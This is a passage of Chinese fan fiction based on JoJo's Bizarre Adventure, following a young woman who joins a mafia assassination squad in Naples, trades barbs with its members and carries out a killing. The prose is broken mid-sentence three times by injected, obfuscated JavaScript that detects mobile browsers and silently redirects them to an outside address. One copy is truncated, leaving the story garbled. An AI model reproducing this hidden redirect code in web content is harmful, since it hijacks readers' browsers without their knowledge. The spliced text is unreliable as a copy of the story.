molto……"''梅洛尼嘀咕着,“连味道都和普通人类不太一样吗……” 我和那个恶魔果实精都沉默了一会。 打破沉默的人是恶魔果实精,他有些难以置信地大叫了一声:“人类的食谱里面不能有人啊,我们又不是食人族!” ……哇,他第一反应是这个吗,这个世界真的好奇特啊。 我没有和那个很吵的恶魔果实精打招呼的念头了。 在刚刚被梅洛尼舔了手指后,我感觉我的大脑都泵机了,我现在不想和任何人打招呼。 偷偷把我手指上的口水蹭到梅洛尼衣服上后,我就悄悄退出房间并关上房门,然后直奔洗手池洗手。 在我认真搓着我的手时,我突然有种不详的预感。 我一向相信我的直觉。我的直觉为我规避了不少麻烦的事情。 于是我抬起头看向镜子,发现一个长发男人站在我的身后目光不善地盯着我。 长发!我喜欢长头发! 而且他还特别把他的头发扎成了几股,他一定很喜欢编头发吧,真好,这个暗杀组还是有些不错的人……而且他不露胸肌,只露腹肌……你们暗杀组是不是有什么肌肤露出度的考核…… “等一下,不对劲。” 我回头看向他,又重复了一遍:“不太对劲。你是谁?” “这么快就反应过来了?”长发美男有些吃惊,他露出一副玩味的笑容:“难怪贝利可罗要在这个时间点选你进来……” 我之所以会察觉到不对劲是因为就在刚刚我想要关闭水龙头的时候,却发现我无法扭动开关。而且就在刚刚,我感受到了我每次使用“乌有之门”时会感受到的空间改变感。 我顾不及品位美色了,直截了当地说:“你把我带到了什么空间内?你也可以操纵空间?” 对方戴着些蔑视的表情看着我:“这里是我的镜中空间,别试图挣扎了,你的一切挣扎都是——” “约旦河!” 里苏特啊,这可不怪我,这可是对方先对我使用替身能力的。 “呵太天真了,只有我允许进入的物体才能进入镜中世界,你的替身不被……” “什么?为什么你的替身可以出现在我的镜中世界?!难道这不是替身而是鬼魂……喂,等一下啊,等等,我只是想跟你打声招呼……” “我真的不是来攻击的!喂!……” * “我无法接受任何人对我的实力进行侮辱。所以攻击了他。真的很抱歉,队长,破坏了你的规矩。” 我说完就垂下眼帘,装出一副“我真的在反思了”的样子。 我端端正正地坐在里苏特对面,我旁边是那个长的很好看内心很不怎么样的男的,他叫伊鲁索。 他也低着头,但他没有像我一样乖乖认错,而是咬牙切齿地说:“里苏特!这家伙是装的啊,她根本没有忏悔的意思。我都说了好几遍我不是来攻击她的,她还是不停手,你看看我肚子上的淤青啊……” “你怎么能这么说呢?”我不可置信地看着他,“是你一声不吭就把我拉入镜中世界,我只是去洗个手而已。” “你这家伙刚刚边揍我边阴笑的时候可不是这副嘴脸,有本事……” 里苏特忍无可忍地说:“安静。” 我和伊鲁索马上闭嘴,只是我很委屈地低下头不说话,而伊鲁索还瞪着我。 真是个白痴,这个时候该服软了。 果不其然,里苏特马上警告了他:“伊鲁索,不要对新成员太过恶意。” 伊鲁索指了指他自己,又指了指我,很不可思议地张开嘴:“里苏特?你看看……” “好了,到此为止。” 嘻嘻,活该。 我刚准备幸灾乐祸呢,里苏特就马上拿他那双奇特的眼睛盯着我,我瞬间老实了。他缓缓地说:“还有你,蕾娜塔,不能再攻击同伴了。” “好的。”如果他不惹我的话。 “现在,你们两个握个手,就算和好了。” 伊鲁索炸毛了:“我?和她!凭什么……” 我马上伸出手:“对不起啊,伊鲁索,是我不对。因为一些原因,我很容易对别人的一些反应产生应激,我会努力改正的。” 他慢慢闭上嘴了,接着不情不愿地握住我的手。 因为里苏特盯着我们,所以我没有在握住他手时使劲全力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233715|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去掐死他。 里苏特看着我和伊鲁索握手言好,微微笑了一下。原来这家伙还会笑吗?然后转而对我说:“我刚刚给你收拾了一个房间。你今晚先住在这里,明天会有一个任务,你跟着加丘和普罗修特去做。” 我都没跟他报备过我的替身能力,他怎么跟我安排工作的……算了,可能他有自己的情报途径吧。 “加丘是谁?” “那个蓝色头发红眼镜的。” 哦,恶魔果实精原来叫加丘。 我转而问:“可是队长,我没有洗漱用品,住不了啊。我还是回去吧,明早我会来的。” “我们这里有全新的牙膏牙刷和毛巾那些。”里苏特说,“都准备好了,你要做好偶尔会在这里过夜的打算。” “……换洗衣服有吗?睡衣都无所谓,但我不想穿男人的内裤。你们应该也没有内衣……吧。” 里苏特陷入沉默了。 我更加沉默了。 希望他别让我穿男人的内裤……拜托了,上帝,耶稣,圣母玛利亚,佛祖,安拉…… 此时,路过的普罗修特接过话茬:“里苏特,跟霍尔马吉欧说一声,让他买不就行了?反正他对女人的东西了解不少。” “霍尔马吉欧是我还没有见到的成员?”我看向普罗修特,普罗修特顺势坐到了我的另一边,回答我:“是的,那家伙可是个花花公子。” 伊鲁索嘀咕着:“相比你的替身,他的替身可没什么意思……” 我很想说你的替身也没啥意思的,但我很高情商地没有说出口。 趁着里苏特准备打电话给霍尔马吉欧时,普罗修特悄悄在我耳边说:“如果霍尔马吉欧那家伙想跟你套近乎,你最好别理他。” “……为什么。” “他很喜欢把玩女人,看到你这样漂亮的姑娘肯定会忍不住来撩拨你的。别理他就行。” 其实我想问的不是这个,不过算了,反正我对答案也不好奇。 这种打扮很精致的漂亮男人果然心眼子多啊。 我假装偷笑,看向他:“难道你就不花心?” “哦,姑娘。”普罗修特笑了,他笑起来更迷人了,不知道他对多少女人这样笑过,他一定练习了很久才练出来了这么迷人的笑容吧。 他说:“至少我不会玩弄女人的心。” 我敷衍地嗯了一声,接着里苏特马上叫我:“蕾娜塔,来跟霍尔马吉欧说说你需要的东西,说详细点。” 其实我很想问,为什么我不能自己去买,或者直接让我回家去。不过联想到他们这有多偏僻,我也能理解了。 我接过电话对着电话说了我需要的过夜的东西,叮嘱了一下我需要的贴身衣物的材质和大小等等…… 电话对面的男人确实很会调情。不过…… 这可是意大利啊,迷情意大利。 ** 霍尔马吉欧长的很俊俏。他的发型相对而言也很正常,只是寸头边上剃了点纹路,有点像颗球。 经过了里苏特和梅洛尼,我看到他里面穿的镂空衣和镂空袖套已经不会产生任何想法了。 他看到我就吹了声口哨,递给我东西的时候,笑眯眯地说:“你长的真漂亮,像朵正在盛开的玫瑰。能够在一天的麻烦事之后看到美丽的你,真是……” “霍尔马吉欧,别和她调情了,没看到她现在很累吗?”普罗修特又出现了,他把手放在我的肩膀上,“明天我们还要出任务,要早点休息。” “你这家伙也知道要休息啊。”霍尔马吉欧嘀咕着,伸出手摸了摸我的头,“欢迎加入我们。” 我并不喜欢别人揉搓我的头,但是我没有流露出厌恶,只是淡淡地笑了:“我的荣幸。” 等霍尔马吉欧走后,普罗修特才放下了他的手,转而说:“明天早上可以期待一下你的早餐吗?” “……什么?” “早饭,你可以做一下吗?” “……我不怎么做饭。” “不用谦虚了,你不是独居女人吗?做饭家务什么的应该不在话下吧。” 又来了。又是那套默认所有女人都会做饭做家务的全球通用刻板印象。 真是不好意思,本人就是不会做饭。从小到大都是别人做饭给我吃的。 但我只是微微笑着,说:“……好。” 等着明天早上喝西北风吧。 15. 第 15 章 虽然我嘴上说着让他们喝西北风吧,但我还是早起去做饭了。 我个人认为让他们感受一下实物冲击是非常有必要的一件事。 做完这顿饭后,我欣赏着仿佛如凶杀现场般的厨房以及垃圾堆一般的早餐,满意地点点头,并拍了张照片,准备到时候邮件发给所有人欣赏一下。 在发给仗助的邮件中我要特别跟他说一句:这就是为什么我情人节送的巧克力全是商店购买。 因为暂时还没有人下楼,我有些闲又兴奋得发慌,所以我决定拨打岸边露伴的电话,骚扰他一下。 在听了我说我和厨房展开了一场酣畅淋漓的战斗后,岸边露伴表示很好奇我做的早饭的味道,并决定等他来意大利后,要品尝一下我做的饭。 一想到这家伙吃虫子都吃的面不改色,我就觉得他吃我的饭也不是不可能了……但要是连他都吃不下我的饭,那不就说明我的饭比虫子还难吃吗? ……他一定会吃的。 “上天为我开了那么多道门,总得关上点窗吧。不说做饭了……露伴老师你根本没想到我这几天会经历多少有意思的事情……” 我之所以会和他打电话是因为岸边露伴要求我一周给他打一次电话报备情况,还把这条用天堂之门写进了我的设定里。 他就是仗着我太好说话了! 不过其实他不这么做,我也会经常和他打电话的。能够知道我所有事情的人可不多,而且我真的很太好奇他的能力都能看到些什么了…… 岸边露伴马上在电话的另一头叫着:“什么?需要我现在就买机票来意大利吗?正好最近杜王町都太和平了,我都闲的开始找仗助那小子玩游戏了。” “……等个一年再说吧。”我听到楼梯那里传来脚步声,转而说:“先挂了,有人来了。” 先下来的人是加丘,他头发有些凌乱,面色不虞,一看就知道是个有起床气的家伙。 等他看到我放在餐桌上的东西后,表情更加扭曲了,他大叫起来:“这是什么东西?!” 我面不改色:“我做的早饭。” “你下毒了吧!绝对下毒了!” 加丘暴躁地踹翻了垃圾桶,把虽然长相有些寒碜但也是我亲手做的早饭一把掀翻到了地上。 正当我也准备爆发的时候,他暴躁地穿上了围裙,暴躁地打开了冰箱:“你吃什么。” 他要做饭啊,那没事了。 好人。 ** 普罗修特看到垃圾桶里我做的早餐露出了一副欲言又止的表情,最后他拍了拍我的肩膀:“看来以后你只能负责分担家务了。” 我:“我家务做的也不怎么样,几乎都是请人打扫卫生的。” 普罗修特语重心长地对我说:“蕾娜塔啊蕾娜塔,我们的工作大部分都是杀人行当,你不学会自己清理现场会很难办啊。” “……” 你别说,我一想到杀手每次杀完人后还得自己洗自己沾着血的衣服,打扫被血弄脏的房间……还怪萌的。 里苏特也会吗?哇塞,看不出来。岸边露伴可不可以把这种设定画漫画里。 加丘很不耐烦地把早餐端给了我们两个,我看着盘子里丰富而健康并且极具卖相的早餐,再次感叹:人不可貌相。 他做的早餐太过美味,搞的我都想和他变得更亲近点了。 吃完饭后,普罗修特拿出车钥匙让我们两个都上车,他说我们要去另外一个城市进行任务。 我主动问:“任务到底是什么?队长没有告诉我。” “刺杀情报组的一个人。” 我:“情报组的人……他是「热情」的吧。” “当然。”普罗修特拿起烟,转头问坐在副驾的我:“介意我抽烟吗?” 我摇摇头:“别往我这边吐烟就行。我不讨厌烟味,但我不想吸二手烟……为什么你们的任务会是杀死同一个组织的人,难道说他背叛了组织?” 普罗修特挑眉:“你不知道?” “知道什么?” “我们小组因为一些事情现在在组织算是坐冷板凳的地位。这个任务可不是上面派给我们的,是其它组的人向我们发的私活……对这种小组之间的争斗,「热情」会睁一只眼闭一只眼的,除非你杀死的是干部或者留下的痕迹太明显了 。” 难怪贝利可罗让我在这实习……原来是为了让我揪他们小辫子吗。我瞬间想起了之前贝利可罗在我来暗杀组前给我分配的任务。 就在我猜测他们是因为什么事才会被组织孤立时,普罗修特突然问我:“你的替身能力是什么?” “传送。”我没有一点犹豫,直接告诉了他我经常使用的能力,“我的替身名叫「约旦河」,拥有空间传送的能力。在我目视范围内,我可以传送一切物体。” 我没有说约旦河的其它能力,因为那些不确定性太强了,我不经常使用,同时那也是我的底牌。 为了让他们更加相信我一些,我主动说:“但除了替身能力,我还有一个能力。是我小时候一个好心的先生教我的,为了让我活下去。这种能力叫做波纹,通过特殊的呼吸可以达到强化身体的效果。” 普罗修特没有对我所说的波纹产生什么兴趣,他更在意我的替身:“空间传送……这就是为什么你的替身可以进入伊鲁索的镜中空间?” “或许。”我不太想继续讨论约旦河,转而问:“我能知道你们的替身能力吗?” “当然。”普罗修特露出了一副和善的笑容,但因为他长相太过锋芒毕露,这个笑容看上去并不和蔼可亲,“我的替身名叫「壮烈成仁」可以让人开始衰老。” “至于加丘,他的替身名叫「白色相薄」……” “喂喂喂,你搞什么啊?普罗修特。”刚刚一直安静听着我们对话的加丘骂骂咧咧,“我还没有信任这家伙呢,不许把我的替身能力告诉她。” 普罗修特淡淡地说:“只是说一下作用效果,等会肉眼也能看的出来。说不定你们两个还可以打配合。” “哈?那也是我自己来说。”加丘阴沉沉地开口,“我的替身「白色相薄」可以把周围的空气冻结成冰。” “哇,听上去都挺强的。” 本着要和人处好关系的念头,我开口:“加丘你看上去年纪和我差不多大,也是二十岁左右吧。” “你想做什么。”他语气很不友善。 我忍:“聊一下天嘛。” “我不想和你说话。” 我再忍:“我在美术学院读书,你呢,你是学什么的?说不定之后我以后还可以去你学校……” 但加丘很不耐烦地打断了我:“吵死了,没人想和你闲聊,好吗?普罗修特也只是看你长的漂亮才对你有好脸色,我可不会……” 后面我没听了,因为我气到快憋不住了。 老娘乐意给他脸,他还不要?!气死我了气死我了气死我了!他什么意思?! 我就知道同龄男都是狗屎!我才不会惯着他呢,他以为他很强吗?滚蛋啊! 我大胆开麦:“你以为我想和你闲聊吗?你顶着一个恶魔果实一样的奇怪发型,架着一个老花镜一样土到掉渣的眼镜,儿童一样的身材,比得了风湿的老大爷还要暴躁的脾气。你以为你是精神病医院跑出来的,我还得让着你?笑死了我乐意和你说话你就谢天谢地吧,平时你这种人走在路上我连一个眼神都不想给,给你脸了……” “哈?你这家伙什么意思。在这个时间点加入组织谁知道你什么心思?昨天又不知道和梅洛尼干了什么……”加丘一点就着,因为普罗修特开的是敞篷跑车,他毫无顾忌地站起来,提起我的领子就开始吼我。 我也不甘示弱,一把抓住他的头发…… “够了! ”普罗修特大吼一句,把我们两个拉开。因为没人控制方向盘,所以我们的车子摇摇晃晃地以非常危险的方式向前开着,但我们三个人都不担心车祸发生。要担心的应该是在我们周围的车辆…… 怎么感觉我现在道德感越来越低了。 额,一定是错觉吧。 普罗修特托住加丘的脸,面色凶狠:“加丘啊,我昨晚跟你怎么说的,做任务的时候不要和她吵起来。我们是一个团队,要互相合作,相互迁就。你们私下把对方打成什么样都没有关系,但是不能影响任务。知道了吗?” 恶犬加丘就被驯服了。 所以普罗修特你在组内担当的是什么角色。 正当我以为普罗修特教训完加丘就会开始教训我的时候,他只是坐了回去,继续认真开车,没有对我说一句话,尽管他看上去很想骂我。 ** 任务对象对普罗修特和加丘的能力了如指掌,几乎是在他皮肤开始衰老的那一刻,他就马上做了应对措施。 更麻烦的是,敌人似乎拥有隐身的能力。 情报组……他们搜罗情报的时候,难道不会忍不住想要去探究神不知鬼不觉的老板吗?还是说热情内部有一套成体系的应对措施。 我不相信世界上有人可以无条件去信任一个不知底细的人。适当的坦诚是信任的基础。 “他应该不知道你的替身能力。”普罗修特在对讲机中这样跟我说,“你和加丘做好配合,我尽力不让其他人来打扰你们。” 我嗯了一声就去和加丘汇合。在我的传送能力配合下,加丘的制冰攻击也更加精准而迅速。但耐不住对方动作更快,我们迟迟无法攻击到对方。 于是我叫出了约旦河,试图创造了一个完全隔断的密闭空间。 这个空间被加丘冻上了厚厚的冰层,狂风在我们耳边不断呼啸。 明明我隔断了空间,现在我们都在一个密闭的空间内,为什么抓不到他呢? “可恶啊!到底为什么一直攻击不到他。”加丘愤怒地创造了几个锐利的结晶,只要那个人动一步,他就会碰到那些结晶。 但没有一个结晶被人碰到,狂风依然在不停地呼啸。 我闭上眼,感受着空气中的气流变化。 波纹呼吸法要求我熟练运用呼吸的同时,也让我可以察觉到万物的“形”。 “加丘,冰住我的手,给我造一把刃。” 在我说出口的一瞬间,我感受到我的右手失去了知觉,我的手上被冰封上了一层锐利而光滑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“如果这个世界上有鬼魂存在,那他就会知道了。老实说我还挺期待他会露出什么表情。虽然我并不喜欢他,但我不得不承认,我很享受毁灭他,征服他的感觉。” ** 我们开车回去的时候很开心,普罗修特甚至允许我用他的车放音乐。 我告诉他我会唱歌,我想唱一下。 征得他的同意后,唱我起了那首歌《Que Sera Sera》吉良吉影杀死我时,他就在放这首歌。 我哼唱完后,普罗修特赞美了一下我的歌喉,然后问:“歌词里的那句Que Sera Sera是什么意思?” “好像是西班牙语?意思是世事不可强求,那就顺其自然。”我把双手打直伸出车外感受风的气息,大笑着说:“普罗,我身上的血还没擦干净,等会要是被警察拦下来了怎么办?” 普罗修特哼了一声:“拿出「热情」的徽章给他们看看他们就懂了。” “哦。”这里的治安果然不怎么样啊。 等到了宅子,里苏特看着我们三个,对我和加丘说:“去收拾一下,等会吃晚饭。” 我问他:“我今晚可以回我的公寓住吗?” “时间太晚了……” 不远处的房间内传来霍尔马吉欧的声音:“我可以送!” 我大声拒绝了:“不用了!我平时回去的更晚,再说了,在我出没的街道,不安全的是别人吧。” 普罗修特揉了揉我的脑袋:“你对自己很有自信嘛。” “今天那个人可是我干掉的。” 于是里苏特点头同意了让我回公寓去住,然后就和普罗修特走到了另一个房间去了。我猜他是想问普罗修特我的表现,这会决定他为我安排的工作强度……也或许他会问一些其它事情。 我没有马上去吃饭,而是去浴室清理自己。虽然之前有做过初步的清理,但还是要洗得更干净才行。 我可不想晚上做噩梦。 等我洗完澡吹完头下来准备吃饭,餐桌上就只有加丘了。 我没和他打招呼,直接入座开始享用晚餐。 突然,加丘说话了:“我以前学物理的。” “嗯?”我感到有些莫名其妙。 他继续说:“后来退学去做暗杀了,就没读书了。” 我:“……你突然干哪出呢。” “……”他沉默了一两秒,然后暴起:“你今天早上还问我学的什么啊?!” 哦他是在回复我早上的问题…… 我做了个求饶的手势,眨巴眨巴着眼睛:“我当然记得啦,我只是想逗逗你,因为你生气起来很可爱。” 其实加丘生气一点也不可爱,但把他看成一只跳脚的吉娃娃就可爱了。 我笑眯眯地说:“其实你身材挺好的,发型很有个性,眼镜也和你很配……我早上说的话只是气话,你不要放在心上,我挺喜欢你的。” 加丘没说话了,他嘀咕着:“疯婆子。”然后就跑上楼了。 但是他竟然是退学做的黑手党吗?他到底发生了些什么事呢。 嘛,和我也没什么关系就对了。 反正我只会认识现在和未来的他,过去的他是什么样,我不感兴趣。无非都是一些很一言难尽的无可奈何的故事或者催人泪下的理由,这种故事在这个世界上演了太多了。而在这座被阴影笼罩的城市,更是屡见不鲜。 不过这倒是给了我不少灵感。 16. 第 16 章 我准备回去时,霍尔马吉欧提出开车送我。他说我住的太远了,开车会更快些。 我也觉得打出租很麻烦,所以就同意了。或许学车这件事该提上日程了。 他表面上对我态度还算友好,和普罗修特差不多,实际上怎么想的就不得而知了。不过只要能够维持表面的虚伪和平就足够了。我可不在意别人心里面的想法。 车上自然是他先找话题:“你是为什么要加入「热情」?听里苏特说,你是个大学生,难道和加丘那样被勒令退学了,不过看你住的地段,你家里条件应该很好的……” 我叹了一口气,面无表情地说:“我是个孤儿,我来热情主要是为了寻找我的亲生父母。我能住那么好的房子是因为我的养母们条件很好。” 他猛地踩了一下急刹车,错愕地看向我:“孤儿?!”他的手指焦躁地敲打着方向盘,不知道在急什么,“你为什么会觉得这里有你父母的消息?” “因为听说热情的情报网更广更大,警察那里我无法入手,只能从黑手党入手了。”我说着说着声音低沉了下来,“我和其他孤儿院举目无亲的孩子不同,我是被遗弃在孤儿院。我不知道我的父母为什么要遗弃我,也不知道他们是否还活着,但无论如何我都想知道一个答案。” 霍尔马吉欧听我说完后,沉默了一会说:“既然他们遗弃了你,你就不应该再去找他们。” 我没看他:“我只是想找到他们。” “好吧。”霍尔马吉欧耸耸肩,“不过既然你已经加入了组织,也不可能就这么退出了。我祝你能够找到你的父母吧。” 我嗯了一声,转过头去看窗外的风景。 我跟他说的理由…… 当然是骗人的。 想想也知道,我怎么可能会想要找我父母?我还没疯呢。 我的欺骗只是为了博取他们的信任,一点同情与接纳。 想想看,一个渴望找到父母抛下她的理由的孤独而执着的孤儿,一个在世界上没有依靠的人,一个恨着父母却又渴望他们的爱的人,一个双手沾染鲜血的人……这样的人生来就注定不该站在光下,在泥潭中挣扎然后堕落才是她的归宿。 还有谁比她更适合留在以暗杀为生的黑手党里呢? 这简直是最适合现在的我的人设。 ** 虽然我加入热情不是为了找我父母的下落,但我确实很好奇关于我父母的一些事情。 在我加入暗杀组一段时间后,我感觉他们对我防备少了不少。除了伊鲁索,可能是因为他还记恨着我揍他那件事。 无所谓,我也懒得刷他好感度。反正里苏特能够喜欢我就行了,他可是队长。 在里苏特告诉我这周末不用去他们那里,可以自己安排周末时间后,我第一时间就去了曾收养我的那家孤儿院。 院长见到我依然开始回忆我六岁溺水那次的经历,她说那实在太惊险了,大家都以为我死了的时候,三天后我却又回到了孤儿院。 但我来孤儿院可不仅仅只是想和院长妈妈寒叙的,我来是为了:“您还记得是谁送我来孤儿院的吗?” 我拿出了那张相片,上面有百分之九十九的可能是我父亲的男人。 院长接过后,惊讶地说:“你和他长的很像唉,但不是他送你来的,你是……你是……唉?” 院长妈妈想了很久也没有想起我是怎么来的孤儿院。 她很抱歉地说她年纪大了,忘了太多事了。但是衷心祝愿我能够找到血亲。 我谢谢她,但不用了。 院长妈妈在我走之前说,一个个子很高的男人也来问过关于我的情况,还拿走了我的档案。因为对方是资助我们孤儿院的财团的继承人之一,所以她没有办法拒绝对方。 ……我可能猜到是谁了。 院长妈妈看我脸色不好,可能是以为我在担心些不好的事情,安慰我道:“别担心蕾娜塔,对方已经结婚也有孩子了……哦,不,应该说对方大概是没什么其它想法的。他们都是好人。总之,你不用担心。” 我能说什么?我只是尬笑。虽然我现在心情挺不爽的,不是因为有人在背后偷偷调查我,而是因为我感觉我的领地被入侵了。 谁知道空条承太郎那个人想做些什么。但他是我朋友的长辈,还帮我解决过好几个麻烦事,我也不可能直接冲到他办公室拎起他的领子质问他吧。 没有得到更多关于我父亲或者至今连名字都不知道的母亲的消息,我心情复杂地离开了孤儿院。 走之前,我还问了院长妈妈关于以前跟我玩的那个小女孩的事。 院长妈妈想了半天,最后才促狭地笑着说:“蕾娜塔你说什么呢,他应该是男孩子吧?不过好像后面出了点事,他早就搬走了。” 院长妈妈简单跟我说了说她听说到的关于那孩子的事。虽然不是很细节,但也让我忍不住在心里嘀咕:他的人生也太抓马了。童年玩伴突然由女变男,而且家里还发生了这样的灾难……我心情更加复杂了。 没人会想到未来会发生什么。儿时我们一起玩耍,互相约定未来也要做彼此最好的朋友,要去同一所大学读书,在同一座城市生活的时候,恐怕完全没有想到一个人不久就离开了意大利,而另一个人家破人亡,了无音讯。 如果说这是命运的话,那命运未免对他也太不公了。 唉,这狗屎的人生,见鬼的命运。 ** 里苏特安排我和梅洛尼搭档做了几次任务后,发现我俩磨合挺不错的,就索性安排我俩做固搭了。 因为梅洛尼他本人不太擅长战斗,擅长战斗的是他的替身「娃娃脸」。我和他搭档基本都是保护他本人不受伤害。 梅洛尼是唯一一个跟我把他的替身的使用方式,适用范围,作用效果等等都介绍的非常详尽的人。 当然不是因为他足够喜欢我,而是因为:他想让我做他的替身的发动载体。 “拜托了,你一定会是个很棒的母亲的。” “你说了很多,听上去也有点意思,但是——我拒绝。” 他说从数据上看,我和伊鲁索可以创造出非常棒的孩子。 我问他为什么。 他回答:“因为你俩相性最差。” 我想起了前几天我偷偷在伊鲁索的蛋糕里加辣椒酱,他至今都没找到是谁干的这件事,发出了爆笑声。 其实我很有可能因为他坚持不懈的请求而松口,同意他对我使用娃娃脸试试。反正又不是真的生孩子,而且我真的有点好奇啊! 但里苏特的态度很明确:不行。绝对不能对同伴使用替身能力。 于是梅洛尼只能放弃了。 最后再说一遍:里苏特,你真靠谱。 和梅洛尼搭档的几次,我大概能够理解一点这个人的脑回路。 他是一个对性、生殖、暴力和母亲有着非常微妙的崇拜的男人,与之相对的是他对于生命的漠视,极其残忍的漠视……总之,他是个异类。 但他并不认为他不正常,在他的世界观里大多数人都有点异类。这是他的原话,我还挺认同他的想法的,不过这个世界上的梅洛尼还是得少点比较好。 从他的谈吐和不经意间透露的学识水平,我猜测他曾经或许学习生物或者医学。事实上,他确实是个医学生,他和加丘还是大学同学,是加丘拉他入伙的。 霍尔马吉欧说起这件事时,还跟我提了一嘴:“梅洛尼他妈妈不是个正常人,父亲更是混蛋中的混蛋。他小时候啊……” “打住。”我开口,“我对他,对你们任何人的过去都不感兴趣。你们也不要对我的过去,我的背景感兴趣。无论是过去还是未来,都是难以把握的。” “我们所能把握的只有现在。现在的梅洛尼是我的朋友,现在的大家是我的朋友。至于我们都有什么样的经历……这不重要,只要有我们是朋友就够了。” 霍尔马吉欧咂咂嘴:“你还真是的……” 梅洛尼对于和人之间的距离把握不是很到位。但我不会拒绝他的过于亲密的举动。他很喜欢抚摸我的肚子,不用说我也知道他是在脑补子宫的形状……一般人我会觉得他在骚扰我,但因为梅洛尼脑子不正常,所以我只是会抚摸回去。 “你喜欢什么样的男人呢?或者说女人?” 梅洛尼边帮我编辫子边问我,我的头发长长了不少,但我暂时还懒得去剪它们,而梅洛尼最近又突然喜欢帮我编头发,我就索性不去剪了。 我认真思考了一下:“如果是认真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233717|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的恋爱的话,我会喜欢那种不太聪明的长的可爱的人吧,身心健全,家庭幸福美满,拥有稳定而温柔的内核,并且必须非常爱我。可以不喜欢我的缺点,但必须要学会接受。最好长的很可爱。” “哇,那我们小队一个人一条标准也不符合唉,不聪明这点倒是有几个符合哈哈哈。”梅洛尼说着突然把脸凑近了我,他很认真地看着我,然后问:“那不认真的恋爱呢?” “哦,长的好看的都行。” 梅洛尼哼哼了几声,问我:“你喜欢不聪明的人是因为他们很好掌控把握吗?” “梅洛尼你再问的话,我就不喜欢你了。” “好啦好啦,我知道啦。”他满不在乎地说,然后继续给我编辫子。 我没理他,继续翻着从里苏特的书柜上找到的书。无论是他还是我,其实都不在意对方到底喜不喜欢自己吧,反正能玩就行。 ** “适应的如何?” “挺好的,贝利可罗先生。” 我蹲在公寓的地下室和贝利可罗通话,他要求我一个月内用特殊的联系方式给他报备一次暗杀组的情况,并给了我一部只能拨打他电话的机子。这是我第一次和他通话。 贝利可罗说:“他们可不是只会杀死有罪之人的家伙,其中还有几个手段很残忍的人……你能和他们相处没有任何问题,说明你很擅长做杀手啊。” 我很淡定地回答:“我只是能够包容不同而已。” 他又问我:“里苏特的房间内有什么与热情有关的东西吗?” “各个情报组的联系方式住址。很多干部的个人档案,应该是警局那里拿来的。” “他们有跟你说过什么吗?比如之前的队友什么的。” 我坦诚回答:“没有。您需要我主动问吗?” “不用。”他顿了顿,又继续说:“你很适合留在「热情」你很明白不该问的别问这个道理。或许等你在他们那再呆一段时间,我可以申请把你调到亲卫队去。” “一切由您和老板决定。” 电话那头传来贝利可罗的闷笑声:“你就不问亲卫队是做什么的?” “我想那是升职的意思。” “好好干吧。能在他们身边混下去并完成每一次任务说明你的实力在「热情」中也是佼佼者,”贝利可罗说,“但你要小心里苏特涅罗,那是个危险的男人。不要让他发现我们在通话。” “那是自然。”我挂断了电话。 其实我早就告诉了里苏特,贝利可罗要求我每个月跟他报备情况了。 直觉告诉我不要在这点欺瞒他,于是我第一天晚上就坦白了。听了我的坦白,里苏特只是说一句:“你为什么会告诉我这个?” 我思考了一下:“我呢,不太擅长动脑子的事情。但我有种直觉:就算我不告诉你这件事吧,你迟早也会发现,然后你就会——” 我比了个卡脖子的动作,勾起嘴角:“很残忍地杀了我吧。” “不过我不会跟贝利可罗撒谎,毕竟我不知道他让我监视你们的目的是什么,而且欺瞒组织是个愚蠢的决定。” “但我眼神不太好,记性也不怎么样,所以只要你们别在我面前做的太过分,我大概告诉不了他什么。” 里苏特沉默了一会,我也无法从他的面目表情中猜测他的想法,于是我挑挑眉说了句“反正我跟你说了哦”转过身准备拉开门离开。 这时我的身后才传来里苏特的声音:“你不应该告诉我这个……算了,你已经说了,不能告诉其它人,知道了吗?” “好哦。” 然后他什么也没说,什么也没做。 我以为他至少会警告我一句“你知道什么该说什么不该说”,但他没有。这让我有点失望,我以为黑手党很喜欢说这种台词的。 不过我告诉他这点也是为了向他示好,就结果而言,他应该算接受了我的好意吧。 贝利可罗不会告诉我任何关于老板的情报,他喜欢的是像他那样完全忠诚的走狗。而里苏特他肯定不是…… 我想到了这些天他们明里暗里的试探,贝利可罗的警告与他不经意间泄露出来的“前队友”的存在,忍不住笑了。 或许我能在暗杀组找到不少乐子。 17. 乔鲁诺有一双绿眼睛 我简直不敢相信。 我竟然在杂粮店买坚果的时候,碰到了同样在采买的阳莱! 阳莱啊,本来应该在日本好好待着的阳莱! 她当时非常自然地和我打招呼:“哟,蕾娜塔,好久不见。” 我一时半会脑子没转过来,竟然还笑眯眯地回应了她的问好,但当我刚准备抱一抱她,再在她脸上啵唧一口时,突然想到: “等等!这不是意大利吗?你怎么会在意大利!” 然后我就见证了阳莱的堪比魔术表演的变脸,她的脸骤然从欣喜变成惊恐,又从惊恐变成了无辜脸。 阳莱:“唉嘿~我们忘了告诉你了!其实我和直子在两周前就抵达那不勒斯了,现在房子也收拾好了,你今晚和我们一起吃饭吧!真是个大惊喜啊~!” “两周!”我倒吸一口气,“两周!你们竟然连这种事都能忘!” “唉嘿~” “唉嘿什么啊!” 但比她俩完全忘记告诉我这件事更过分的是,她们两个竟然有了新的孩子! 